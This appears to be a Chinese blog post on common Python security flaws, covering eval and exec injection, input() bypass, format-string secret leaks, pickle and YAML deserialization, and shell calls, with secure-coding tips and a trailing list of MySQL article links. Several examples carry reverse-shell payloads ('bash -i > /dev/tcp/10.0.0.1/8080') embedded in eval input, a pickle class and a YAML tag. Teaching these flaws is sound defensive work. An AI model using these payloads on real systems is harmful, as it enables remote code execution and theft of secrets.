博客
关于我
Python开发常见漏洞
阅读量:584 次
发布时间:2019-03-11

本文共 2368 字,大约阅读时间需要 7 分钟。

Python编程安全

1.危险函数

在Python中,一些函数如果不当使用,可能会导致严重的安全问题。以下是三个常见的危险函数及其潜在风险:

1.1 eval

eval 函数能够将字符串作为代码执行,这使得它非常危险。攻击者可以通过构造恶意字符串,绕过身份验证或执行恶意操作。

示例:

eval('1+1')  # 返回 2
def addition(a, b):    return eval("%s + %s" % (a, b))result = addition(request.json['a'], request.json['b'])
{    "a": "__import__('os').system('bash -i > /dev/tcp/10.0.0.1/8080 0>&1')#",    "b": "2"}

上述输入会通过 os.system() 调用,绑定一个反向 shell。

1.2 exec

exec 函数与 eval 类似,直接执行字符串代码,同样存在严重安全隐患。

示例:

def addition(a, b):    return exec("%s + %s" % (a, b))

1.3 input

在 Python 2 中,input() 函数可以直接读取用户输入,且不进行任何类型验证。攻击者可以通过构造输入,绕过认证或导致其他安全问题。

示例:

user_pass = get_user_pass("admin")if user_pass == input("Please enter your password"):    login()else:    print("Password is incorrect!")

攻击者可以输入 user_pass 作为变量名,导致 if user_pass == user_pass 为真,伪造认证。

2.字符串格式化

str.format()format() 函数可以通过构造格式字符串,访问程序内的私有数据或执行恶意操作。

示例:

CONFIG = {    "API_KEY": "xxxxxxxxxxxxxxxxxxxxx"}class Person(object):    def __init__(self, name):        self.name = namedef print_nametag(format_string, person):    return format_string.format(person=person)new_person = Person("Pxiaoer")print_nametag(input("Please format your nametag!"), new_person)
print_nametag("{person.__init__.__globals__[CONFIG][API_KEY]}", new_person)

上述代码会泄露 API_KEY

3.反序列化

3.1 Pickle

Pickle 是 Python 的序列化工具,但由于它不提供加密或验证机制,反序列化可以导致身份验证绕过或代码执行。

示例:

class Malicious:    def __reduce__(self):        return (os.system, ('bash -i > /dev/tcp/10.0.0.1/8080 0>&1',))fake_object = Malicious()session_cookie = base64.b64encode(pickle.dumps(fake_object))

反序列化时会执行 os.system,绑定一个反向 shell。

3.2 YAML 解析

YAML 解析也存在安全隐患,攻击者可以构造恶意 YAML 文件,绕过访问控制或执行代码。

示例:

!!python/object/apply:os.system ["bash -i > /dev/tcp/10.0.0.1/8080 0>&1"]

4.沙箱逃逸

在受限的沙箱环境中,攻击者可以通过调用特定函数(如 os.system, subprocess.call 等)获取更多权限。

示例:

import osimport subprocessimport commandsos.system('ifconfig')os.popen('ifconfig')commands.getoutput('ifconfig')commands.getstatusoutput('ifconfig')subprocess.call(['ifconfig'], shell=True)

攻击者可以通过这些函数直接执行 shell 命令。

5.安全编码规范

5.1 Web 编程

  • Flask 安全:使用 Flask-Security,避免直接生成 HTML,正确处理输入数据。
  • Django 安全:配置安全中间件,启用 HSTS 和 HTTPS,妥善存储秘密键。
  • XSS:避免直接在响应中拼接用户输入,使用安全渲染函数。
  • CSRF:使用 Django 的 csrf 中间件保护重要操作。
  • 命令注入:避免使用 os.system 等直接执行 shell 命令,使用 shutil.rmtree 等安全函数。
  • 文件操作:限制文件下载和上传,防止目录穿越。

5.2 审计工具

  • 使用工具如 logrotateauditd 定期审计日志和配置文件。

6.参考文章

你可能感兴趣的文章
MySQL 日期时间类型的选择
查看>>
Mysql 时间操作(当天,昨天,7天,30天,半年,全年,季度)
查看>>
MySQL 是如何加锁的?
查看>>
MySQL 是怎样运行的 - InnoDB数据页结构
查看>>
mysql 更新子表_mysql 在update中实现子查询的方式
查看>>
MySQL 有什么优点?
查看>>
mysql 权限整理记录
查看>>
mysql 权限登录问题:ERROR 1045 (28000): Access denied for user ‘root‘@‘localhost‘ (using password: YES)
查看>>
MYSQL 查看最大连接数和修改最大连接数
查看>>
MySQL 查看有哪些表
查看>>
mysql 查看锁_阿里/美团/字节面试官必问的Mysql锁机制,你真的明白吗
查看>>
MySql 查询以逗号分隔的字符串的方法(正则)
查看>>
MySQL 查询优化:提速查询效率的13大秘籍(避免使用SELECT 、分页查询的优化、合理使用连接、子查询的优化)(上)
查看>>
mysql 查询数据库所有表的字段信息
查看>>
【Java基础】什么是面向对象?
查看>>
mysql 查询,正数降序排序,负数升序排序
查看>>
MySQL 树形结构 根据指定节点 获取其下属的所有子节点(包含路径上的枝干节点和叶子节点)...
查看>>
mysql 死锁 Deadlock found when trying to get lock; try restarting transaction
查看>>
mysql 死锁(先delete 后insert)日志分析
查看>>
MySQL 死锁了,怎么办?
查看>>